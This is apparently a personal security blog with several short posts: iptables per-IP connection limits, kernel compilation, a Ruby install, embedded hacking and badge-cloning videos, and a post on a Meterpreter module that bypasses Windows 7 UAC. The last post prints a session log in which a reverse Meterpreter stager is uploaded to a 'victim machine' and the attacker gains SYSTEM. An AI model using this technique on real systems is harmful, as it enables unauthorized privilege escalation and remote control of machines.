Fork me on GitHub





четвъртък, 24 ноември 2016 г.

Limits Connections Per IP




How do I restrict the number of connections used by a single IP address to my server for port 80 and 25 using iptables? You need to use the connlimit modules which allows you to restrict the number of parallel TCP connections to a server per client IP address (or address block).
This is useful to protect your server or vps box against flooding, spamming or content scraping. Syntax

The syntax is as follows:

 /sbin/iptables -A INPUT -p tcp --syn --dport $port -m connlimit --connlimit-above N -j REJECT --reject-with tcp-reset  
 # save the changes see iptables-save man page, the following is redhat and friends specific command  
 service iptables save  


Example: Limit SSH Connections Per IP / Host

Only allow 3 ssg connections per client host:
 /sbin/iptables -A INPUT -p tcp --syn --dport 22 -m connlimit --connlimit-above 3 -j REJECT  
 # save the changes see iptables-save man page, the following is redhat and friends specific command  
 service iptables save  


Example: Limit HTTP Connections Per IP / Host

Only allow 20 http connections per IP (MaxClients is set to 60 in httpd.conf):
 WARNING! Please note that large proxy servers may legitimately create a large number of connections to your server. You can skip those ips using ! syntax  


 /sbin/iptables -A INPUT -p tcp --syn --dport 80 -m connlimit --connlimit-above 20 -j REJECT --reject-with tcp-reset  
 # save the changes see iptables-save man page, the following is redhat and friends specific command  
 service iptables save  


Skip proxy server IP 1.2.3.4 from this kind of limitations:
 /sbin/iptables -A INPUT -p tcp --syn --dport 80 -d ! 1.2.3.4 -m connlimit --connlimit-above 20 -j REJECT --reject-with tcp-reset  


Example: Class C Limitations

In this example, limit the parallel http requests to 20 per class C sized network (24 bit netmask)
 /sbin/iptables -A INPUT -p tcp --syn --dport 80 -m connlimit --connlimit-above 20 --connlimit-mask 24 -j REJECT --reject-with tcp-reset  
 # save the changes see iptables-save man page  
 service iptables save  


Example: Limit Connections Per Second

The following example will drop incoming connections if IP make more than 10 connection attempts to port 80 within 100 seconds (add rules to your iptables shell script)
 #!/bin/bash  
 IPT=/sbin/iptables   
 # Max connection in seconds  
 SECONDS=100  
 # Max connections per IP  
 BLOCKCOUNT=10  
 # ....  
 # ..  
 # default action can be DROP or REJECT  
 DACTION="DROP"  
 $IPT -A INPUT -p tcp --dport 80 -i eth0 -m state --state NEW -m recent --set  
 $IPT -A INPUT -p tcp --dport 80 -i eth0 -m state --state NEW -m recent --update --seconds ${SECONDS} --hitcount ${BLOCKCOUNT} -j ${DACTION}  
 # ....  
 # ..  


How Do I Test My Firewall Working?
Use the following shell script to connect to your web server hosted at 202.1.2.3:

 #!/bin/bash  
 ip="202.1.2.3"  
 port="80"  
 for i in {1..100}   
 do  
  # do nothing just connect and exit  
  echo "exit" | nc ${ip} ${port};  
 done  


сряда, 23 ноември 2016 г.

Compile and install kernel on CentOs 6.8





How to
 1. yum groupinstall "Development Tools"  
   yum install ncurses-devel  
 2. Download kernel 4.1.1 to /usr/src/  
 3. cd /usr/src/  
 4. tar -Jxvf linux-4.1.1.tar.xz  
 5. cd /usr/src/linux-4.1.1....  
 6. make help       - RECOMMENDED: if you want to see what you can you do!  
 7. make mrproper     - Cleaning and check dependencies  
 8. make menuconfig    - WARNING: This is for advanced users! Make your own setup if you want, and follow the menu to save and exit!  
 9. make bzImage      - compile the bzImage kernel  
 10. make modules     - compile the modules  
 11. make modules_install - install of already compiled modules  
 12. make install     - install of all dependencies to already compiled kernel   
NOTE: You have to modify your grub conf if you use dual boot, and then you can use your new kernel!

What it means to be an OSCP reloaded



вторник, 15 ноември 2016 г.

Learning ruby



Install default
1:  # Default  
2:  yum groupinstall "Development Tools"  
3:  yum install ruby  
4:  yum install gcc make automake autoconf curl-devel openssl-devel zlib-devel httpd-devel apr-devel apr-util-devel sqlite-devel  
5:  yum install ruby-rdoc ruby-devel  
6:  yum install rubygems  
7:  gem update
Install and use ruby 2.2.x - user: root
1:  yum groupinstall -y development  
2:  gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3
3:  curl -sSL https://get.rvm.io | bash -s stable
4:  source /etc/profile.d/rvm.sh  
5:  rvm install 2.2.4  
6:  gem update  
7:  gem install rails  
8:  ruby --version 
9:  rvm default 

-:  Start by default after rebooting the system:

10: cd /usr/local/rvm/gems/ruby-2.2.4/bin
    echo "export PATH=$(pwd):\$PATH" >> ~/.bashrc

11: cd /usr/local/rvm/gems/ruby-2.2.4@global/bin
    echo "export PATH=$(pwd):\$PATH" >> ~/.bashrc

12: cd /usr/local/rvm/rubies/ruby-2.2.4/bin
    echo "export PATH=$(pwd):\$PATH" >> ~/.bashrc

13: cd /usr/local/rvm/bin
    echo "export PATH=$(pwd):\$PATH" >> ~/.bashrc

PsExec How Remote Execution Works


PsExec How Remote Execution Works [VIDEO] Rapid7 from nu11secur1ty on Vimeo.

Truncate


nu11secur1ty is proud to present you"Truncate" the totally safe program for truncate large files directly in production, which use API programs or some important application which use "tmp" file logs, I repeat directly in production!



Truncate by nu11secur1ty

петък, 11 ноември 2016 г.

TrustedSec/BDS - Dave Kennedy talking on NewsNet 5 on cloning badges




TrustedSec/BDS - Dave Kennedy talking on NewsNet 5 on cloning badges from David Kennedy on Vimeo.



Making a physical HID Prox 2 Clone with Proxmark3 from nu11secur1ty on Vimeo.



NOTE: THIS IS ONLY FOR EDUCATION!!!
WARNING: THIS IS NOT FOR MALICIOUS PURPOSE, EVERYONE WHO USE THAT FOR STEALING, TAKES OWN RESPONSIBILITY FRONT OF THE LAW!

Magic Unicorn v2 Release




Magic Unicorn v2 Release from David Kennedy on Vimeo.

The Social-Engineer Toolkit (SET) v4.7 Codename: “Headshot”




The Social-Engineer Toolkit (SET) v4.7 Codename: "Headshot" from David Kennedy on Vimeo.

The Social-Engineer Toolkit v5.1




The Social-Engineer Toolkit v5.1 from David Kennedy on Vimeo.

CNN Series on Hackers






phone exploit

CNN Series on Hackers from David Kennedy on Vimeo.

Print of certain line in the file on Linux










четвъртък, 10 ноември 2016 г.

Data Center Segmentation Design Guide - Cisco






Bypass Windows 7 x86/x64 UAC Fully Patched – Meterpreter Module


Here is a nice new addition to bypass UAC through meterpreter. It all came about when Kevin Mitnick was on a pentest and needed to bypass Windows 7 UAC. We stumbled upon an old post from Leo Davidson (http://www.pretentiousname.com/misc/win7_uac_whitelist2.html) on bypassing Windows UAC. This method takes advantage of process injection that has a trusted Windows Publisher Certificate (example explorer.exe which runs at medium integrity). This is fully functioning on both x86/64 bit platforms. Source code is in the zip along with the meterpreter plugin.


Bypassing Windows 7 UAC Restrictions on a fully... by nu11secur1ty






 [*] Sending stage (749056 bytes) to 172.16.32.130  
 [*] Meterpreter session 1 opened (172.16.32.128:443 -> 172.16.32.130:1544) at Fri Dec 31 20:43:24 -0500 2010  
 msf exploit(handler) > sessions -i 1  
 [*] Starting interaction with 1…  
 meterpreter > getsystem  
 [-] priv_elevate_getsystem: Operation failed: Access is denied.  
 meterpreter > run bypassuac  
 [*] Creating a reverse meterpreter stager: LHOST=172.16.32.128 LPORT=4546  
 [*] Running payload handler  
 [*] Uploading Windows UACBypass to victim machine.  
 [*] Bypassing UAC Restrictions on the system….  
 [*] Meterpreter stager executable 73802 bytes long  
 [*] Uploaded the agent to the filesystem….  
 [*] Executing the agent with endpoint 172.16.32.128:4546 with UACBypass in effect…  
 meterpreter > [*] Meterpreter session 2 opened (172.16.32.128:4546 -> 172.16.32.130:1547) at Fri Dec 31 20:43:40 -0500 2010  
 meterpreter >  
 Background session 1? [y/N]  
 msf exploit(handler) > sessions -i 2  
 [*] Starting interaction with 2…  
 meterpreter > getsystem  
 …got system (via technique 1).  
 meterpreter > shell  
 Process 416 created.  
 Channel 1 created.  
 Microsoft Windows [Version 6.1.7600]  
 Copyright (c) 2009 Microsoft Corporation. All rights reserved.  
 C:Windowssystem32>whoami  
 whoami  
 nt authoritysystem  
 C:Windowssystem32>